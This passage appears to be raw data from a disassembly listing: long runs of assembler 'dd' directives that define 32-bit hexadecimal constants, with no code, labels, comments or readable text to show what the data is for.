dd 8AE92E19h, 96812A8Eh, 6B4A90A8h, 0F7C0D08Dh, 0C71A0925h
dd 0F0826C5Ch, 0BB119AA9h, 0B007DD19h, 98A16357h, 0D36C7E5h
dd 0AE32BA4Ah, 0DBDDB941h, 868B664Eh, 0AB3F7559h, 0F0121519h
dd 0BE8DB2A2h, 70C5C68Fh, 0C1F8FE69h, 7B270B31h, 0FC30057h
dd 9113029Bh, 93AB5D8Eh, 0CB232068h, 0B76D22E9h, 464E4E03h
dd 701B3732h, 2C9A02ECh, 67652B60h, 69FEBB0Eh, 0D050DB5h
dd 7FF14600h, 88632B83h, 357AA03Dh, 25382B1Ch, 571E54F7h
dd 0FEEB3DDBh, 4D369F02h, 62377034h, 9EB8268Ch, 0A31E6117h
dd 6F730C3Ah, 0BF6C729Eh, 4CD9ECC8h, 9E866B08h, 6C11A771h
dd 0D37E2863h, 0E68C16B5h, 0D0433A21h, 0BD6AA912h, 0A2DDBFA7h
dd 0C29A3F6h, 8C502188h, 0E821B9F7h, 0D729AA24h, 0AF2B0903h
dd 0C414991Ch, 1C41A56Fh, 99314992h, 9DDE1347h, 38DD2C7Ah
dd 0CD5A6AFEh, 1C941DBBh, 4EB64CBFh, 0DFF193EFh, 7CE4B65Eh
dd 0D36AEE3Bh, 8FF98354h, 0BDE14CCDh, 0A196279Bh, 3C4EC695h
dd 300DFEF0h, 0EF070B2Bh, 2937A415h, 300EC2FDh, 564BEECCh
dd 1BD8939h, 0CC48B4B5h, 3898FCD0h, 41F1999Ch, 9FA6E9DDh
dd 0A4566C03h, 83D4A277h, 0C7DF03CFh, 0BF80BC4Bh, 11D90FF4h
dd 87BAAEF5h, 2BC09820h, 0EE54CB6Fh, 2A02DB13h, 0DAB9B7B9h
dd 338BB304h, 0EAAAAF04h, 0E2CB3C81h, 75CDDAE5h, 39F36C49h
dd 0ABF165E6h, 79EA17FBh, 904A4295h, 1DBB449h, 4F59EECAh
dd 0AEDA25D3h, 0F4FF5A7Ah, 0F52AF6F1h, 629E3D9Bh, 0FB4ECFh
dd 0CCE206C9h, 0EC624D41h, 3E5299ABh, 14DB6539h, 0CDCB8F50h
dd 62B95BBh, 5CB44587h, 3D881E4Eh, 0C71D8E1Ch, 2FD76A98h
dd 47C2D203h, 0A500BC2Fh, 0A532663Dh, 0A56B7CFDh, 8537D4D0h
dd 0CCD910ACh, 3A33CA6h, 0CA300DA9h, 8C6CE85Ch, 7FD7691Ch
dd 20EC1C71h, 0A3A0D583h, 4DEE4CADh, 4650E900h, 6503DEF8h
dd 0E89FFC35h, 0FB38A96Ah, 1649DA55h, 1EF12800h, 4BE2E77Fh
dd 0F70EAF7Bh, 994981CAh, 0E11CF399h, 673FF1CEh, 3FDC51E2h
dd 0FE68FE55h, 60E4D25Fh, 58DC10CDh, 0A6CFA16Ah, 0E07D52D8h
dd 0FD168387h, 90DC0155h, 0B95C64EEh, 1E9594ADh, 0A7AD4C1Ah
dd 0A71DB4C3h, 0BE4D7AA0h, 0A02492A6h, 3CC3662Bh, 383735C2h
dd 0BD9F9462h, 10F81E05h, 7E72D69Bh, 94375276h, 0D3D66FABh
dd 67A9BC4Eh, 679211DAh, 0A913255Ch, 27D2C2DCh, 88593895h
dd 0D6A5A22Fh, 5EAB391Dh, 0FEBDE39h, 0B1F75C8Fh, 57416B28h
dd 9827C403h, 7D6EE38h, 786D957Ch, 0F69D3561h, 0B7FDC060h
dd 7B38071h, 0AEFA1E0Ch, 26847744h, 4623FB80h, 3FE42672h
dd 4B97C126h, 0D2F9D601h, 0ED23A27Dh, 0BC13A7D9h, 0D9EFF884h
dd 0DBBD2B6Ch, 0E7EF5089h, 4470BA79h, 0CCF347A8h, 0FFB5191Ah
dd 1FEB71AFh, 0CFC7BAEBh, 5BD6289Eh, 86E8491Eh, 752484ACh
dd 0F611B4BCh, 0F59AC4E2h, 0CD6C17D0h, 0FF92E08Bh, 3F37E9F6h
dd 6655EFAAh, 0B109AF61h, 8A19DF8Ch, 86319B1Fh, 0FB715F4Ah
dd 9B7F13B8h, 59B4569Ah, 4B074BFCh, 4961057Ch, 5119C54Eh
dd 12E6843Fh, 93C067FCh, 0F4672375h, 0EFF78BBDh, 0AAE2AC28h
dd 3F02820Ah, 0B3F37BE6h, 874395FBh, 0C2FCD768h, 0C87873C0h
dd 0EA8B8FBh, 0A731B97Ah, 20620FECh, 0BE853701h, 92FB89D1h
dd 8B4428A5h, 22D0B22Bh, 3B7CCF36h, 8037C651h, 58974B35h
dd 0A7960FD8h, 0C574DCA4h, 0E8B6D487h, 51F30116h, 6883D14Ch
dd 13D6A852h, 0F13804B8h, 8A4C4021h, 0C7CF5E7Fh, 0BE21094Ch
dd 0EBF1837h, 0F953F23Bh, 179D228h, 0F71FB38Fh, 0CBF6965Bh
dd 1395B486h, 811DEF2Eh, 0E5DCDA45h, 0F57B6421h, 64AD037Eh
dd 0AE852D4Ch, 10487E01h, 6450D8D8h, 91FE03E0h, 1203EBC2h
dd 3573441Fh, 0CEAF225Dh, 45D2D5A8h, 639C535Fh, 240016CAh
dd 9E83AA62h, 0E40D42F5h, 5DC95E8Dh, 50887C3Fh, 0F42E21D8h
dd 6470F52Eh, 0EF2D36Dh, 6C634C84h, 149C0CA8h, 8DEBD65Eh
dd 93C674ABh, 0BEA1E608h, 29066D30h, 5494F92h, 268B5F79h
dd 7C3067D9h, 1D38AEC5h, 0AD1C7741h, 0B4CA4C20h, 0A93B888Ch
dd 0B88C6E75h, 0CBA751F1h, 71EEF0DAh, 5D714F8Eh, 0CAD7665Ah
dd 0EFF0065Ch, 0FAB5A9Bh, 0AD887543h, 0E9C3DEBDh, 6FE52F5Bh
dd 0C468012Eh, 0B5061ECDh, 0C734EC1Fh, 0F020781h, 0F6CB2A7Ah
dd 38E37C52h, 618DC067h, 0BACF218Dh, 75AA310Bh, 8B30D84Ah
dd 75B1F5C8h, 0D7DFBB94h, 0B666AB54h, 0E8A7B32Fh, 37B99D33h
dd 83B6770Dh, 0DCDB4A46h, 7ECC64Ch, 5464FDA1h, 0E0005D69h
dd 360AD378h, 3EFD272Bh, 5C1BE8C1h, 0D98297CDh, 0AC8FA6B5h
dd 4B40CC4h, 2880201Fh, 2C795D87h, 0FE61BA97h, 0AA4B3A37h
dd 8724AF90h, 0CA1CF733h, 2F6F7242h, 0D31B6ED6h, 0F8EB7A74h
dd 7312B77Ah, 9B0DFB63h, 0DF58D266h, 0C6122ABCh, 0FD6F4712h
dd 0D96A5432h, 86A1FD24h, 0B967B2A7h, 33F934CEh, 0B1A37A51h
dd 5473777Ah, 94884BCh, 9B37EC44h, 387D79CFh, 5A3640E1h
dd 0F1EF4DDEh, 0A2877F28h, 0DB9E14D2h, 0A66B8EA9h, 146ABC1Ch
dd 5FA039ECh, 9813643Ah, 0CE0BC921h, 714317CFh, 291EDD34h
dd 4B4CE1EDh, 6FCB31EFh, 1D5F9C71h, 4500B42Fh, 0BAC5608h
dd 0B04E7973h, 85FE7774h, 61BAC80Fh, 761E9774h, 4D4EDC5Bh
dd 340A3F41h, 13EAD924h, 0CCB0A7F0h, 440D8018h, 7765F4B9h
dd 9103C3A3h, 5998FC54h, 427EDF19h, 12574C42h, 5B29CF4Eh
dd 4FD4DD82h, 0B64A3064h, 0C8BFAF9Eh, 0E3FDEF50h, 1A995EBCh
dd 698BD324h, 3F4C4AAFh, 1AFC32B1h, 0BF9B3821h, 6C391D38h
dd 0BEB93660h, 0D57059AFh, 0EC983562h, 0CB35465Bh, 59A979BBh
dd 0D394F7C8h, 0B1C3EDA6h, 61543099h, 0A05439EBh, 7AA2CDF1h
dd 8EA0E22Dh, 0B5995057h, 401A3B3Bh, 0A2F0B190h, 3952BDEh
dd 0DEBB29C0h, 461F2CCh, 5530BA8Bh, 0DCAABE2Eh, 7EDDF121h
dd 0AAFB5ED0h, 4E4E5FC5h, 6E9C7634h, 1CB0D3F4h, 1A5BDAADh
dd 0B9557C5Ah, 17BB357Dh, 4A527B5Bh, 9E974B9h, 0F56F899Bh
dd 46C17C2Fh, 0D9631C6Fh, 0B1877B71h, 0D63E8963h, 887E50EBh
dd 99022D60h, 5507386Dh, 99E3E211h, 0B4369FA2h, 208ADB04h
dd 0B44508CBh, 0BDC81AFCh, 0D6B8214Ah, 0E615E400h, 0CE4BFE10h
dd 76B7156Fh, 6638A47Ch, 0FAD77D89h, 7CA1874Dh, 3B11F66Dh
dd 0C591849Bh, 747795A1h, 5CBA2F91h, 9838E0FFh, 0A35B3578h
dd 22587D2Fh, 0C368BB09h, 3C9A9BD3h, 86DD63B9h, 8C621EA1h
dd 795CD54Ch, 6627C24h, 0E9B6B409h, 4ADDDD6Ah, 80DFD672h
dd 88FCC6DBh, 0F15D7249h, 2380BFAEh, 4F16C6A3h, 0A82D90BDh
dd 176213AAh, 0AC3D87CFh
dd 0D1109D99h, 2A13E022h, 0E4C30416h, 645ABFBDh, 0DD791420h
dd 2EF9437Ch, 20A3FFF8h, 0F23F35F9h, 91FE8FB0h, 63C88986h
dd 98B2B729h, 8A8B3368h, 1D4AF686h, 3A4EE4A5h, 689B1B21h
dd 7A89E6B2h, 113D25ABh, 0FA980F54h, 7C1FF78Ah, 0AA32ACBh
dd 0EBCFC7C7h, 0AC88E3B9h, 4AF327B4h, 91346205h, 273D130Dh
dd 255E626Ah, 4B47D2EEh, 0F517264Ah, 0C6ED0598h, 29158E91h
dd 65621FD0h, 859FC2BFh, 0D154CAFh, 8F685h, 0B0E7307Fh
dd 4E863885h, 2471C85Ch, 0CD7E7F1Ch, 0BEFA6B37h, 0D48216CBh
dd 27960810h, 0E9D82DFDh, 0A448A860h, 3DD267E4h, 3E541C66h
dd 8C8B7B0Ah, 85881C0Ah, 95065CACh, 0DCE96D9Eh, 0EEBED107h
dd 0CCB2A74Ah, 9CE34281h, 99DA5F72h, 41569A08h, 896F0A4Ah
dd 0CE31FBBCh, 0E40DF92h, 0AEBCEB8Ch, 3D61CDD6h, 3DCA693Eh
dd 1B11DF5Eh, 0FA7D3244h, 0CD81D4BDh, 1728207Ch, 8290AFF1h
dd 1910EB3h, 0C5E4886Ch, 9908D330h, 36350141h, 6EC9D32Bh
dd 0E8359138h, 3835C5ADh, 75E93134h, 5D888F8h, 0A99CA056h
dd 0E9E2FD61h, 0DA311A8h, 84B78722h, 0CAA771C3h, 51F7EB38h
dd 66D8B43Ch, 485EF1CDh, 2EB00F04h, 34356BA2h, 0B9004C35h
dd 3390431Ah, 0E6EE433Dh, 0F42A46D0h, 39CB44B3h, 2694AB34h
dd 0E7E13A93h, 0FA614519h, 0FFE3A79Ch, 0B1B6CF92h, 364EA106h
dd 0A5425642h, 0B3A8890Ah, 339AFFEFh, 5757B631h, 0D6ED2EF2h
dd 0A30D6FAEh, 5AB419FFh, 0B2246F97h, 8594848Dh, 80ACB2CDh
dd 188742Bh, 0DA11AF02h, 5B11ACDEh, 5428DF34h, 0EE3AEC3Bh
dd 0EBE13E65h, 0DD298422h, 0BA53963h, 0E867B3B8h, 6905E44Bh
dd 0E769D81h, 162F2400h, 1727857h, 0A1AB45h, 4CCF7238h
dd 0AD73F5B0h, 80EC9ECFh, 831F53F0h, 0C1E4A373h, 31375019h
dd 70C81D92h, 9B290219h, 0D23A9E82h, 153BF26Fh, 0F6307C4h
dd 3CA438B1h, 64F85328h, 1519F00Ch, 0E08A3C54h, 17702BC9h
dd 9C3000Eh, 0FA358C70h, 0FBE3A610h, 0ACC8B20Eh, 0D351C2h
dd 0F98033FAh, 14E08552h, 90BCBD54h, 1EAD2DF6h, 8BA14CD6h
dd 2FD952C6h, 3820BAC4h, 0EE67FE93h, 0E7D7F80Ah, 0E840F9F2h
dd 0B1DF4B46h, 9E7AD1EAh, 65970AE6h, 0BE643D0Fh, 0F59C355h
dd 0C974DDF5h, 12BAD228h, 45EAC9F4h, 7C489154h, 5E06D71Ch
dd 8AACB12Dh, 3968E185h, 2A564F81h, 147413AAh, 0BAFDB05Dh
dd 68576615h, 35436AC7h, 5404D4C6h, 48C97F49h, 4A7C7E60h
dd 6DE4F058h, 0AEBBCF68h, 0B5D1609Dh, 0FF18096Ch, 0A146DC6Dh
dd 0F0F159F1h, 0A029D507h, 6CD8C59Eh, 292F34B7h, 1A5E8124h
dd 7ABBB28h, 54618CC7h, 622DEC5Fh, 0C8F7BA73h, 831CCA3h
dd 0A5CC5028h, 0BBBF6D54h, 5F99DDE4h, 16EFA9B8h, 0BBA837A4h
dd 45165979h, 1BF775AEh, 8EC9559Ch, 919C2894h, 64D6329Eh
dd 9CA20503h, 930C7370h, 0E78B0D4h, 4A7EA37h, 15435BDBh
dd 0C5E232A4h, 5C1422AFh, 0FDD475FFh, 2AC60330h, 0F7182A2Ch
dd 0B3A9856Ah, 0DBAD5AFBh, 0B11737E2h, 17C66D91h, 0DD842DB6h
dd 7149722Ch, 29172120h, 8B27A737h, 138F23BDh, 0D6566C57h
dd 45337EC1h, 7AC8EB0Eh, 8044BB09h, 77F53BDDh, 0D720A601h
dd 7997C1DAh, 21D90AE0h, 94BFB655h, 94A240F3h, 0E9BCB1F9h
dd 0E1BC4F66h, 2F192AD2h, 51FB893Ch, 0B75D3894h, 0D32CB55Dh
dd 56894CB2h, 9B8A74C5h, 9C88901Dh, 0DD104512h, 242AB977h
dd 715EFABBh, 3FBA7F54h, 0F59CD0B4h, 0AF1DD7E2h, 0FE642FCEh
dd 9D7EB176h, 94DAB05Eh, 0FFC6908Dh, 0ED291AA1h, 18AF60EFh
dd 844A59FDh, 0CDF7A03Ch, 7EB85171h, 63A4B93Fh, 0FD693C62h
dd 74B5C641h, 0CC8BD9D8h, 7081F740h, 5046B69Ch, 0C38365D0h
dd 0DF893F7h, 0D9B9DA9Fh, 7906788Bh, 0B9744E1Ch, 0AAE12577h
dd 8D9981B6h, 0C6AC18E2h, 1ABE48C5h, 96437EB8h, 77A2A74Fh
dd 5F6A41Ah, 0B1561CEEh, 0F2775CC7h, 3374E446h, 2124F58Eh
dd 1D7B9287h, 0B8B5FEFCh, 610BCA91h, 83EE44CAh, 9F426561h
dd 2690B754h, 2047EBBCh, 0BBC54F05h, 0DA8A0BFCh, 3FB2BDF5h
dd 0B551D0CBh, 3AC3BF7Dh, 3A8F26A5h, 408FDD4Eh, 44526DCh
dd 5C1FC3EFh, 0AD9A46A6h, 1AA6A080h, 0F68547C3h, 9930E5E5h
dd 12FBA717h, 0B1FD7374h, 841F694h, 0C5F18F75h, 0FA6605B0h
dd 407C6CD6h, 0B64A4944h, 0CCE19138h, 7741047Fh, 206A5556h
dd 2EA0D80Dh, 0EBE33556h, 4CC2B0DBh, 8F445B5Ah, 54A1F521h
dd 6BDE1A93h, 88207F47h, 638D33D0h, 0D1366825h, 5943D74Bh
dd 726E802Ah, 8CA727F6h, 4F6D2578h, 1C5C23A8h, 0A190EBE1h
dd 44022ABh, 0D38386A5h, 0A877B07Bh, 46D82C1Bh, 28DEED6h
dd 6C31B4EBh, 0B2D940BAh, 9BED30F6h, 0B12C1DD4h, 0D4998EC6h
dd 0A9E98206h, 199CBF36h, 0B320535Ch, 4DC732B4h, 2529DC25h
dd 979B6826h, 0A2AABC9Eh, 0C740BE25h, 568761AEh, 0C37C7F37h
dd 5C772FAAh, 0DFC4C57Fh, 2868FA50h, 8E19DAEEh, 8103250Ch
dd 0FDCCC12Eh, 94A2448h, 4ED3A3FCh, 0C81D89E7h, 579BF208h
dd 0AF2AFB9Ch, 1CCD320h, 0BA2315EBh, 3799DF47h, 303EB9D8h
dd 0B64C0B81h, 7D9E79F9h, 0E7CB7AADh, 0F8283DFCh, 9BD5B49Eh
dd 0EC448F50h, 0C1C2C450h, 13D9F4E9h, 28D4B9C9h, 5C1361D9h
dd 30D25664h, 0F32346B7h, 0B32C3598h, 27B75E7Fh, 8745419Dh
dd 0E527E31Fh, 505871A6h, 3E628FB5h, 33DB38D1h, 7CC40C6Eh
dd 9D376ECDh, 11607C6h, 2B609DE5h, 1C36BA31h, 0A4D939C5h
dd 2691E529h, 0B360A878h, 0F7BC0D99h, 6556D9E8h, 3FB7749Fh
dd 69847285h, 58BEFE05h, 7B378181h, 388F01Bh, 9F73DA8Dh
dd 1727113Bh, 0A6354EC3h, 0BE1171BFh, 77F6F56Bh, 77885C9Eh
dd 1315DAC5h, 875C62ADh, 6351FC8Ch, 0B612B3C2h, 6BADBDEFh
dd 0AAFD0CC7h, 4DD01DFEh, 5483F259h, 0DC06615Bh, 186C40B7h
dd 0D9256D85h, 56652803h, 3233B5E6h, 0E49221E2h, 74B5CA5Bh
dd 0DD1EB52Ch, 0E0447F42h, 92C342DFh, 8BC496A0h, 0B7B83C46h
dd 0E3DF2DB9h, 318A054Ah, 0D43D3D35h, 3D02FD74h, 0C91BCC1Fh
dd 0BBD043D7h, 5C6C150Bh, 0E4172BF2h, 842A1857h, 0BB04942h
dd 0C6421180h, 0B34DE102h, 0D3C8B278h, 220A24C5h, 792B8A7Fh
dd 6D4B57D0h, 9F63A40Bh, 0F5FC8447h, 0B1FE7E52h, 44AB97BEh
dd 2260FC4Eh, 0D6F350C8h, 11ADD577h, 1431E03Ch, 43203E0h
dd 0BE53D008h, 0BB3A93E8h, 7787FF22h, 24E5F96Ah, 9D3B5A09h
dd 0BB921A17h, 0EC4E8B54h, 88BFA500h, 37932509h, 583D68FFh
dd 0F9667A1Dh, 895D7B03h, 32EA52D7h, 6F86FEF9h, 0CCC6D040h
dd 15512943h, 2E6ED7F6h, 59D3CC03h, 522BE52Ah, 5CEC7392h
dd 0C992F241h, 9881AC36h, 0E7FCDE3Ah, 54E8767Ah, 9461CF0Eh
dd 0E2348B7Ch, 7BD67D1Dh, 0B7582B96h, 801D0B39h, 4ACD2C21h
dd 0EA60955h, 0D3274622h, 0FC03BC86h, 3B2E7A7Bh, 4F2FEC7Eh
dd 0D21F73D4h, 5EF9869Ch, 6DD62F44h, 274D02E2h, 673AF1B2h
dd 9B44DB06h, 3CC57FDh, 41FE4F83h, 704CAE5Eh, 0FC0EFC88h
dd 22334099h, 8B340485h, 589D8FFBh, 0BABA5A19h, 929CD1C7h
dd 16FB236Ch, 2FA7628Dh, 19940085h, 0D019E35Fh, 87AA5B67h
dd 0D0586292h, 6F15DED6h, 382F458Fh, 0F3443A3h, 5C25714Dh
dd 5C6C444Eh, 0C53A145Dh, 6F5BC4h, 51B07F08h, 0C7E618AEh
dd 83756952h, 608497D9h, 1DE9209Fh, 0DAC6C53Ah, 0C7D32868h
dd 0A591F255h, 0E1A6C700h, 89D7F60Fh, 0C07BF583h, 2D386C32h
dd 0A57A2731h, 60136030h
dd 9342CDCFh, 165EAA0Bh, 0EA780ED6h, 0F1ECE6D6h, 0FFF839E8h
dd 0FD3FF925h, 3DACD07h, 0EE77900h, 72055F43h, 0F6AA1583h
dd 5D8C544Ah, 11FEBD58h, 20AE39D6h, 8593931Dh, 0ED6F5074h
dd 6BFD4F86h, 0C3F0831Ch, 0B32DABECh, 0B19F95EDh, 0EC9BDFD1h
dd 382856CEh, 0F5C48EB1h, 0CFDC0A1Fh, 3D6D5F56h, 734789F1h
dd 7FA99BB5h, 0C294B836h, 9AE32A8Bh, 0B603FEF4h, 9519279Bh
dd 5664E423h, 0A4082966h, 0B20947F5h, 4B4CE4A6h, 0BF6B943Bh
dd 0FC25BBF3h, 18C8B510h, 0CF4739BAh, 6D180927h, 62E471FEh
dd 61F06208h, 0CBAAFA38h, 1C21B085h, 0E7F3F797h, 0F44B9D77h
dd 28FF3B61h, 400E1192h, 0D15784C9h, 91C02892h, 84D83975h
dd 2F82A602h, 29AA56D5h, 0F87FB415h, 0B767C0F4h, 0D4505DDh
dd 0EF400F06h, 5F6F43E2h, 0EC2A2A26h, 99F59E52h, 7981F482h
dd 4D1A6F48h, 0F5CD4AF3h, 0E1FB5832h, 69397DB7h, 3C6F35Dh
dd 0BB023750h, 9E904090h, 59726B53h, 82D70BE0h, 0AFC40617h
dd 6F0BC76Eh, 0E2547CC8h, 7B09166h, 9707A71Dh, 0ADD8DD77h
dd 7DE589CDh, 252DF5D7h, 4451ABF8h, 7F6F2859h, 6F5D67ADh
dd 0F3B77A57h, 29B0A8DAh, 2CDC6B68h, 0E1B6F8A7h, 0FBE13450h
dd 0CCEA5186h, 4F1E5287h, 0D7797BCAh, 0FB30EE19h, 72649496h
dd 655FC01Dh, 8FD9B3E9h, 401E64E4h, 76D9642Ch, 50E7CA3Eh
dd 624F45C0h, 2A81EC4Ah, 77E64257h, 0A1650AEEh, 7539CD6Eh
dd 3FBA1D60h, 3C43DB74h, 0C6361170h, 6AC3B414h, 0CAA0AB9Eh
dd 3272D703h, 0E58F4CE6h, 9923E28Bh, 0B82A50ADh, 0E361CAFEh
dd 1519BAE3h, 0C8899862h, 0A61F11BAh, 734CFA67h, 4D8934D7h
dd 9AFB5EAAh, 332445B6h, 60379550h, 4E52F929h, 6467C095h
dd 79917D8Eh, 36B98146h, 2F2D8AD5h, 67B6F36h, 5BB84433h
dd 0A591B5F7h, 0A552AB76h, 44B64714h, 6DED8F9Eh, 7CEEDD6Fh
dd 5390697h, 0A569A213h, 1F135FFCh, 33FAEE75h, 41B456C4h
dd 8BCC8AA1h, 0DB68AC77h, 0E02A67D6h, 339202Fh, 679A6B58h
dd 9338110Ah, 3F281156h, 0AA5C755Bh, 53F9025Eh, 7933726Eh
dd 101803A3h, 6EACB794h, 688543CEh, 2761A51Ch, 0D467A00Dh
dd 0F18EBB65h, 152A1A5Ah, 0B929EF8Eh, 359C2800h, 0B8A97D89h
dd 10E360FDh, 711BEC3Ch, 2C8D2056h, 14CA1417h, 0F2EEA6F4h
dd 0AB987BCEh, 0F6C121ACh, 0A40E0032h, 8672B19Eh, 0DFCB907Dh
dd 29250582h, 0DE7B707Ah, 0C4964EEDh, 0E9922AE2h, 0DF9AA89Ah
dd 10601EFAh, 68313EE2h, 0B4ECA7E4h, 2015E1E1h, 0DED6CCF5h
dd 0B9F3D4A6h, 12C69994h, 6111426Dh, 83334C5Ah, 8BFC34B5h
dd 0CC3B2FB3h, 1DC5E587h, 937C8757h, 6F7B00FBh, 0E21159B2h
dd 0DB15A20Dh, 0EDD6A40Ah, 0F74CCACBh, 2F095578h, 0E789DA03h
dd 7958D6C5h, 4EA29B3Ah, 0C7CE0FF5h, 4AEDE689h, 8D366A67h
dd 0FA5EE0E0h, 0C6541041h, 0B52A580Ah, 696CE096h, 78D30B0Dh
dd 6859D539h, 9180CCD1h, 3543D1EEh, 9AA79B16h, 0CD94657Dh
dd 0DD7008BBh, 11DED196h, 0EE9F8874h, 0AA286050h, 0D273228Dh
dd 40361A28h, 657E0968h, 8282983h, 0A858CB41h, 0C09E5246h
dd 0D6571B05h, 1A5BDED6h, 175A6BE8h, 0E0B4AF61h, 208716CFh
dd 253DC571h, 96D728D9h, 9AA037D9h, 6B07FF7Ah, 140EEF8Ch
dd 68182210h, 7FC4612Bh, 0C54D664Ah, 711A5CDh, 0A5E7EBF4h
dd 6557C017h, 7E864F66h, 3EAE7664h, 36B8F1A6h, 53B2FAAAh
dd 7AADB6EEh, 2204F5CAh, 58E5BB8Ah, 119EFBCCh, 5E1D0498h
dd 5DC42A6h, 8AEA7E55h, 0A7C01990h, 0C7EFBF04h, 1715F312h
dd 23EE85h, 4DC3E266h, 0C9EF6D02h, 0D83857AFh, 0CA539E70h
dd 74B9D5BFh, 0E7365AB8h, 6CD3E88h, 436F1A33h, 54B58280h
dd 0F16DF9DFh, 0B143AEh, 94D3B69Ah, 54106B07h, 4BCD4A37h
dd 700374B8h, 1CAF48D0h, 331114FCh, 1544DC08h, 376EEA5h
dd 274DED40h, 4A40374Fh, 7E269574h, 4AF89435h, 0E74F8BE5h
dd 3DF754E8h, 0E249711h, 0D7CE20C0h, 8519BF69h, 0A1A03451h
dd 3EBC45D4h, 0E538EA5h, 0B38E86F1h, 6ECA340h, 0D4E1C19Ch
dd 0F0D1FCE2h, 0D4143AA2h, 0A0BB7D57h, 61F2A951h, 0B856A84Bh
dd 0ECFC2D6Bh, 0D1D21A0Bh, 81A76839h, 191EE448h, 350AA5ECh
dd 51BA52D6h, 467FEB11h, 568E0A75h, 0D6AF6467h, 33708601h
dd 0DF752449h, 4C5B14C4h, 0F236D905h, 99E194DEh, 1629AEABh
dd 0D6D0BEB7h, 0D2E7DC68h, 0DF867791h, 6C1F2C4h, 0CD7CBC4Ah
dd 96E2611h, 935D269Ch, 153E514Fh, 27527E29h, 9508F699h
dd 0DD4417DAh, 2D21AC65h, 0E1537777h, 0F4E2ACA8h, 85E77EEBh
dd 485F6BDh, 0F2BC1C84h, 0BA541F3h, 0FB37075Dh, 0CAB742FCh
dd 7C9A1197h, 3EC6E8D5h, 517C1B4Ch, 0DA4399ADh, 7C1DC094h
dd 0A07F9372h, 0F71C48AFh, 77E79D3Ch, 981CAD93h, 4CB9A656h
dd 0A8722315h, 0E8835997h, 0C62FEABCh, 503EBA51h, 8FBF1752h
dd 0A9E11FF0h, 0E98B1073h, 3F941E8Ch, 0D203297Ah, 0B05BA8BBh
dd 568F3243h, 152645F0h, 8C8BFA14h, 0A356813Ch, 60D13EB5h
dd 2FC1F238h, 2716E37Dh, 374FF465h, 0F15C0BE1h, 0FEC81A33h
dd 415A8B09h, 2D78733Bh, 49F4000Dh, 359DB435h, 0DCF8F78Ah
dd 0BF1E353Ah, 0AC124F14h, 0A7871EF1h, 6BBC7264h, 0E48B8237h
dd 6B4F111Bh, 4C6E95F9h, 0EA05C633h, 7A4A361Dh, 97A7562Ah
dd 0E132C19Dh, 0ABE1B371h, 2D62168Ch, 0B677B693h, 5CA5DB55h
dd 9B594DF3h, 19C1A686h, 7B66137Ah, 30E9AB5Ch, 2B42EA0Bh
dd 0B311A34Ch, 0D33A503Ah, 0A02BFFDEh, 1C225F86h, 6CC2D419h
dd 6D3779B5h, 0BAAA9499h, 1251E99Dh, 0A72BC298h, 586B0487h
dd 0F0884B9Fh, 30B70B6h, 9E48AE81h, 0E84062B3h, 0E258BA7Eh
dd 816BC7B0h, 875178BDh, 1F4BD647h, 274E2530h, 0EFC88C32h
dd 0D87E92F3h, 0B12668FCh, 0E451CD53h, 0D2A728EEh, 2F811C28h
dd 0F446302Bh, 0E727BC0Bh, 909D1815h, 0AA0135CDh, 0C12BDF56h
dd 0F29DF4DFh, 69F853FDh, 55856C9Eh, 5FDEB8B8h, 566AA02Ah
dd 60395B9Ah, 0A14296F5h, 0A713187h, 5FC014D4h, 88C95397h
dd 0A62C480Bh, 0C00ECF89h, 0E3086269h, 8B5963AAh, 0B28C7154h
dd 0E631EA59h, 76345AD5h, 0F93158DAh, 28C55851h, 0EEE7D84Dh
dd 0C2F97067h, 0B1A3B9FEh, 0D1EF1ABAh, 6959A995h, 0ABF781AEh
dd 4E74849Dh, 0AC1C0276h, 0A5D02C05h, 0E3B80E16h, 3D246018h
dd 0AD59DC65h, 0CDABAEh, 950D0694h, 0FE316F9Bh, 0A56B7F89h
dd 3BEE9398h, 3F0B5DC8h, 1126E29Fh, 8ACDA11Dh, 0D369475Bh
dd 7CFEB217h, 61B0440Dh, 0B6EB470Bh, 13BCBE4Ch, 78FA5DA2h
dd 14B7EDCBh, 1A45150Fh, 0BB824D06h, 0F0E74F15h, 5A1F5175h
dd 0A71EC94Eh, 0E52DDC28h, 272C789Bh, 4DC6B6E5h, 2EE86FB3h
dd 0DB2C9250h, 4F754683h, 582A4627h, 986C8DE5h, 8454F6D5h
dd 0D3A95B02h, 0EE18DD33h, 79313335h, 0B91E0F12h, 0A5F983BCh
dd 0D632248Fh, 27A093CBh, 33D11411h, 2B2F01D9h, 9DD1DB30h
dd 762FE515h, 3095EB71h, 0B6B78F6Fh, 8965D4B5h, 41605223h
dd 94273B7Fh, 568137EFh, 0D2645E25h, 73792DAAh, 687DE0ABh
dd 0F6B6FDF6h, 0FA1C8AA8h, 0BFA8DC92h, 839ACF54h, 0B86773E0h
dd 5E78685Bh, 8A3E9BEDh, 51705D68h, 0E0808F53h, 7E76B8F1h
dd 7A650E82h, 7EFBABDEh, 0BA5CD1A4h, 0F54D549Eh, 0FF03109Fh
dd 0A66EAE1Bh, 0CD814C42h, 0C59DA1CAh, 1861D61Dh, 0EE839F4Bh
dd 0AFC68A7Dh, 0E9A175D1h, 236219A0h, 8B3F05C8h, 6E3D1938h
dd 0C5CB95F0h, 8793F3DFh
dd 8A0F2FB9h, 8E2B6ADAh, 0E5110292h, 222E98B5h, 0C88CA36Eh
dd 0E12BBEBBh, 3C1EDBABh, 0D447A62Ah, 48680CDBh, 10476898h
dd 3E648294h, 570319B7h, 3A11E8Ch, 0E7A51E56h, 10E98E64h
dd 0C1652056h, 7C9DFB94h, 0AF7A10C7h, 5E8B33ACh, 8624038h
dd 3CB23EB6h, 4BFB8F38h, 0F41F9FBDh, 3DDD3ADAh, 5BE1D229h
dd 0CCE516E7h, 895637AAh, 1469A444h, 50E61E46h, 37D02027h
dd 5631BCB1h, 4D94D6ABh, 3C9A4DCCh, 3E5265EDh, 88AB3C9h
dd 11A7C701h, 0D675938Ch, 15AA4415h, 0C8201418h, 9E7686D0h
dd 1E32BC00h, 9109C54Ch, 24B076F3h, 0EDDB57Bh, 0E4F91F00h
dd 752118Ah, 8A95DB65h, 12F31A1h, 21844D31h, 5C45384Eh
dd 0D98713EAh, 0E4F74EC1h, 0EF4E68ADh, 71E0CFFBh, 0E2CEEED2h
dd 78C1A234h, 49C8DF8h, 5E1FB918h, 0FB1C06DAh, 2120FA94h
dd 13BB2DE0h, 2E93AEA8h, 1D7D9Bh, 737E20E1h, 67176E91h
dd 0A9ADDDB3h, 0FE7F9499h, 0C84CFD51h, 776D6E82h, 4C7C54DEh
